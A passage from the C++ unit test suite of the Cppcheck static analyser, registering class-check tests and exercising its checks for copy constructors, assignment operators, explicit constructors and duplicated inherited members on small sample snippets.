TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" 